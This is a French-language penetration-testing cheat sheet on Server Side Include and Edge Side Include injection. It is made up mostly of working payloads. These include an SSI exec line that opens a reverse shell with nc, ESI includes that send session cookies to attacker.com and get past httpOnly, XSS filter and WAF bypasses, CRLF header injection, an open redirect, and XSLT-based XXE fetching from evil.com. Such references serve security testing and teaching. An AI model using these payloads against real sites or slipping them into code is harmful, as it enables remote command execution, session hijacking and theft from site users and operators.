Injection d'Inclusion Côté Serveur/Inclusion Côté Edge

Reading time: 8 minutes

Informations de Base sur l'Inclusion Côté Serveur

(Introduction tirée des docs Apache)

SSI (Server Side Includes) sont des directives qui sont placées dans des pages HTML et évaluées sur le serveur pendant que les pages sont servies. Elles vous permettent d'ajouter du contenu généré dynamiquement à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.
Par exemple, vous pourriez placer une directive dans une page HTML existante, telle que :

<!--#echo var="DATE_LOCAL" -->

Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :

Mardi, 15-Jan-2013 19:28:54 EST

La décision d'utiliser SSI, et quand faire générer entièrement votre page par un programme, dépend généralement de la quantité de la page qui est statique et de celle qui doit être recalculée chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petites informations, comme l'heure actuelle - montrée ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution.

Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions .shtml, .shtm ou .stm, mais ce n'est pas le seul cas.

Une expression SSI typique a le format suivant :

<!--#directive param="value" -->

Vérifier

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Inclusion côté Edge

Il y a un problème de mise en cache des informations ou des applications dynamiques car une partie du contenu peut avoir varié pour la prochaine fois que le contenu est récupéré. C'est ce à quoi ESI est utilisé, pour indiquer en utilisant des balises ESI le contenu dynamique qui doit être généré avant d'envoyer la version mise en cache.
Si un attaquant est capable de injecter une balise ESI à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'injecter un contenu arbitraire dans le document avant qu'il ne soit envoyé aux utilisateurs.

Détection ESI

L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise ESI :

Surrogate-Control: content="ESI/1.0"

Si vous ne trouvez pas cet en-tête, le serveur pourrait utiliser ESI de toute façon.
Une approche d'exploitation aveugle peut également être utilisée car une requête devrait arriver au serveur des attaquants :

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Exploitation ESI

GoSecure a créé un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels compatibles ESI, en fonction des fonctionnalités prises en charge :

• Includes : Prend en charge la directive <esi:includes>
• Vars : Prend en charge la directive <esi:vars>. Utile pour contourner les filtres XSS
• Cookie : Les cookies du document sont accessibles au moteur ESI
• En-têtes en amont requis : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
• Liste blanche des hôtes : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes

XSS

La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur

<esi:include src=http://attacker.com/xss.html>

Contourner la protection XSS côté client

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Voler un cookie

• Voler un cookie à distance

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Voler le cookie HTTP_ONLY avec XSS en le réfléchissant dans la réponse :

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Fichier Local Privé

Ne pas confondre cela avec une "Inclusion de Fichier Local" :

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Redirection Ouverte

Ce qui suit ajoutera un en-tête Location à la réponse

<!--esi $add_header('Location','http://attacker.com') -->

Ajouter un en-tête

• Ajouter un en-tête dans la requête forcée

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Ajoutez un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF dans l'en-tête Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Débogage Akamai

Cela enverra des informations de débogage incluses dans la réponse :

<esi:debug/>

ESI + XSLT = XXE

Il est possible d'utiliser la syntaxe eXtensible Stylesheet Language Transformations (XSLT) dans ESI simplement en indiquant la valeur du paramètre dca comme xslt. Cela pourrait permettre d'abuser de XSLT pour créer et exploiter une vulnérabilité d'entité externe XML (XXE) :

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT fichier :

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Vérifiez la page XSLT :

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Références

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Liste de détection de Brute-Force

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub